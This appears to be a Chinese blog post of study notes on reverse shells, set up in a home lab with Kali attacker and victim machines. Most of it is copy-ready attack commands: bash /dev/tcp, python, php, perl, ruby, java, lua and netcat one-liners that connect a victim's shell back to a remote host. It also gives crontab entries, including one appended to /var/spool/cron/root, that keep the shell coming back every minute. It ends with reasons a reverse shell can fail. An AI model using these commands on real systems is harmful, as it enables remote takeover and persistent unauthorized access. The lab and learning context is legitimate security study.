反弹shell学习


反弹shell

linux下反弹shell的几种方法

测试环境说明

攻击者:kali2020.03 64位 192.168.229.129

靶机:kali2018 192.168.229.130

https://www.freebuf.com/articles/system/178150.html

bash 反弹

反弹shell的命令

1
bash -i >& /dev/tcp/ip/port 0>&1

开启监听端口

1
nc -lvp port

受害机上使用

1
bash -i >& /dev/tcp/ip/port 0>&1

解释:

  • bash -i代表在本地打开一个bash
  • /dev/tcp/ip/port, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接
  • &后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出
  • 加上0>&1,代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样的话就可以直接在远程输入了

img

python 反弹

反弹shell的命令变为

1
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

img

nc 反弹

条件是靶机上有nc

尝试两种方法后都莫有成功

1
2
3
4
nc -lvp port

nc -e /bin/sh ip port
-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程

img

img

1
2
3
4
5
6
7
8
9
nc -nvlp port
nc -nvlp port
nc ip port|/bin/bash|ip port


使用nc监听端口反弹shell时可能会有一个警告:
Warning: forward host lookup failed for bogon: Unknown host,
根据nc帮助文档的提示加上-n参数就可以不产生这个警告了
-n参数代表在建立连接之前不对主机进行dns解析

img

img

定时计划反弹shell

  1. crontab -e直接写入
1
* * * * *  bash -i >& /dev/tcp/ip/8888 0>&1

image-20211207163655912

  1. 创建shell文件,然后通过crontab -e写入

ps

/etc/crontabshell下写入

1
2
#!/bin/bash
bash -i >& /dev/tcp/IP/8888 0>&1

然后crontab -e写入

1
* * * * * /etc/crontabshell
  1. 写入到crontab定时任务所在位置/var/spool/cron/root

echo '* * * * * bash -i >& /dev/tcp/监听该机器的ip/8888 0>&1' >> /var/spool/cron/root

image-20211208190403710

nc -lvp 8888

image-20211208190249253

Linux定时计划反弹shell

php 反弹

注意php反弹shell的这些方法都需要php关闭safe_mode这个选项,才可以使用exec函数

默认的php.ini文件中没有打开安全模式

使用php的exec函数执行反弹shell的命令

1
php -'exec("/bin/bash -i >& /dev/tcp/ip/port")'

但是没有成功

之前乌云知识库上的一个姿势,使用php的fsockopen去连接远程:

1
php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i <&3 >&3 2>&3");'

img

img

附上国外大佬整理的各种版本的shell写法

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#bash版本:
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

#perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

#python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

#php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

#ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

#nc版本:

//nc版本正确,存在-e选项就能直接反弹shell
nc -e /bin/sh 10.0.0.1 1234

//不存在-e选项
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

nc x.x.x.x 8888|/bin/sh|nc x.x.x.x 9999

#java版本
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

#lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

powershell反弹shell的方法

测试环境说明

攻击者:kali2020.03 64位 192.168.229.129

靶机:win7 x64 192.168.229.134

img

emmm暂时先鸽了

其他反弹shell的方式

利用ICMP(icmpsh)协议反弹Shell

简单总结一下反弹shell失败可能得原因

  • 禁止出站ip(只允许访问特定ip)
  • 禁止出站端口(只允许访问特定端口)
  • 禁止出站协议(只允许特定协议,如icmp、dns、http)
  • 反弹命令不存在或是当前用户无权调用bash
  • 可能不是使用的bash、而是sh或其他

反弹shell失败的几种原因

参考文章

linux下几种反弹shell方法的总结与理解

powershell反弹shell常见方式

Linux定时计划反弹shell


文章作者: l0odrd
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 l0odrd !
  目录